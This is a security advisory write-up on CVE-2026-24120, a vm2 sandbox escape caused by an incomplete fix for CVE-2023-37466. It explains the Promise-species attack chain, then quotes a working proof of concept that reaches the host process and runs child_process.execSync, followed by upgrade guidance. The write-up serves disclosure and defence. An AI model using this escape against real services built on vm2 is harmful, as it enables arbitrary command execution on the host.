Introduction
An incomplete patch for an earlier sandbox escape in the vm2 Node.js package has left over a million weekly consumers exposed to arbitrary command execution on the host system. CVE-2026-24120, carrying a CVSS score of 9.8, shows again that sandboxing JavaScript at the language level is one of the hardest problems in application security.
The vm2 package, maintained by patriksimek, provides a sandboxed execution environment for running untrusted code within a single Node.js process. It has roughly 1,352,076 weekly downloads on npm and over 4,000 GitHub stars, and it is used across the Node.js ecosystem for everything from plugin systems to code evaluation platforms. Because it serves as a de facto standard for in-process sandboxing, a vulnerability in vm2 carries wide consequences.
Technical Information
Root Cause: Incomplete Remediation of CVE-2023-37466
The vulnerability traces directly to the fix for CVE-2023-37466 (tracked as GHSA-cchq-frgv-rjh5). That earlier patch introduced a function called resetPromiseSpecies, which sanitizes the Symbol.species property on Promise objects, restoring it to a safe, known value after sandbox code runs. The intent was to stop an attacker from substituting the Promise species with a malicious class.
The implementation of resetPromiseSpecies relies on two built-in methods: [].includes and Object.defineProperty. Both are reachable from inside the sandbox and can be overwritten by attacker-controlled code. By replacing Object.defineProperty with a no-op function, an attacker stops the species from ever being reset and neutralizes the mitigation.
This is classified under CWE-94 (Improper Control of Generation of Code) and CWE-693 (Protection Mechanism Failure).
Attack Flow
The exploitation chain runs through five stages:
-
Neutralize the defense. The attacker overwrites
Object.definePropertywith an empty arrow function (()=>{}), which rendersresetPromiseSpeciesinert. The sandbox can no longer restore the Promise species to a safe value. -
Trigger a host-realm TypeError. An async function creates an
Errorobject and sets itsnameproperty to aSymbol(). When V8's internalFormatStackTracetries to coerce this Symbol to a string (via.stackaccess), it produces aTypeErrorthat originates in the host realm, not the sandbox realm. -
Replace the Promise constructor's species. The rejected Promise returned by the async function has its
constructorproperty replaced with an object containing a customSymbol.speciesthat points to aFakePromiseclass the attacker controls. -
Hijack Promise chaining. When
.then()is called on the manipulated Promise, the JavaScript runtime uses the attacker-controlled species to construct the chained Promise. TheFakePromiseexecutor's reject callback receives the unsanitized host-realmTypeError. -
Escape to the host process. The host-realm error object's constructor chain is traversed via
err.constructor.constructor('return process')(), which yields the hostprocessobject. From there,mainModule.require('child_process').execSync()provides arbitrary OS command execution.
The error object leaking from the host realm carries a reference to the host's Function constructor, which is not subject to sandbox restrictions. That reference is the bridge to code execution outside the sandbox boundary.
Proof of Concept
The following proof of concept was published in the GHSA-qvjj-29qf-hp7p advisory by reporter XmiliaH. It demonstrates a full sandbox escape that ends in arbitrary command execution on the host:
const {VM} = require("vm2"); const vm = new VM(); vm.run(` Object.defineProperty=()=>{}; async function fn() { const e = new Error(); e.name = Symbol(); return e.stack; } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); } ) } } }; p.then(); `);
Step by step breakdown:
-
Object.definePropertyis replaced with a no-op, which stopsresetPromiseSpeciesfrom resetting theSymbol.speciesproperty on the Promise prototype. -
The async function
fn()creates anErrorwith aSymbol()as itsname. Accessing.stackforces V8'sFormatStackTraceto attempt string coercion of the Symbol, which throws a host-realmTypeError. -
The variable
pholds the rejected Promise from the async function. Itsconstructoris overwritten with an object whoseSymbol.speciespoints to the attacker'sFakePromiseclass. -
Calling
p.then()triggers Promise chaining. The runtime uses the attacker-controlled species and instantiatesFakePromise. The executor's reject callback receives the unsanitized host-realmTypeError. -
err.constructor.constructor('return process')()traverses the constructor chain from the host-realm error to the hostFunctionconstructor, evaluates'return process'to obtain the hostprocessobject, and then callschild_process.execSync('touch pwned')to create a file on the host filesystem.
Running this code on a system with a vulnerable version of vm2 creates a file named pwned in the current working directory, which confirms arbitrary command execution outside the sandbox.
Affected Systems and Versions
Based on the official advisory, the following version ranges are affected:
| Version Range | Status | Recommended Action |
|---|---|---|
| Versions 3.10.3 and below | Vulnerable | Upgrade immediately to 3.10.5 |
| Version 3.10.4 | Not listed as patched | Upgrade to 3.10.5 |
| Version 3.10.5 | Patched | Verify deployment |
Any application or service that includes vm2 as a direct or transitive dependency at a version below 3.10.5 is affected. Audit your package-lock.json or yarn.lock files to find transitive inclusions of the vulnerable package.
The vulnerability requires no authentication, no user interaction, and has low attack complexity. Any network-accessible service that evaluates user-supplied code through vm2 is at immediate risk.
Vendor Security History
The vm2 project has a documented pattern of sandbox escape vulnerabilities. CVE-2026-24120 is itself a bypass of the fix for CVE-2023-37466 (GHSA-cchq-frgv-rjh5), which was also a sandbox escape. Other prior advisories, such as GHSA-whpj-8f3w-67p5, have addressed similar classes of issues.
The maintainer has been responsive to reports, and the 3.10.5 release includes several defense in depth measures beyond the specific fix for this CVE, including blocking Function constructor access via property descriptors and preventing WebAssembly.JSTag sandbox escapes in Node 25. The recurring nature of these escapes reflects how hard it is to build a secure sandbox at the JavaScript language level within a single process. Each fix closes a specific escape vector, but the attack surface stays broad because of the richness of JavaScript's prototype and intrinsic manipulation capabilities.
References
- GHSA-qvjj-29qf-hp7p: Sandbox Breakout Through Promise Species (GitHub Advisory)
- vm2 Release v3.10.5 (GitHub)
- vm2 Security Advisories API
- vm2 v3.10.5 Release API
- GHSA-cchq-frgv-rjh5: Prior Sandbox Escape Advisory (CVE-2023-37466)
- vm2 GitHub Repository
- vm2 on npm
- NVD (National Vulnerability Database)
- CVE.org



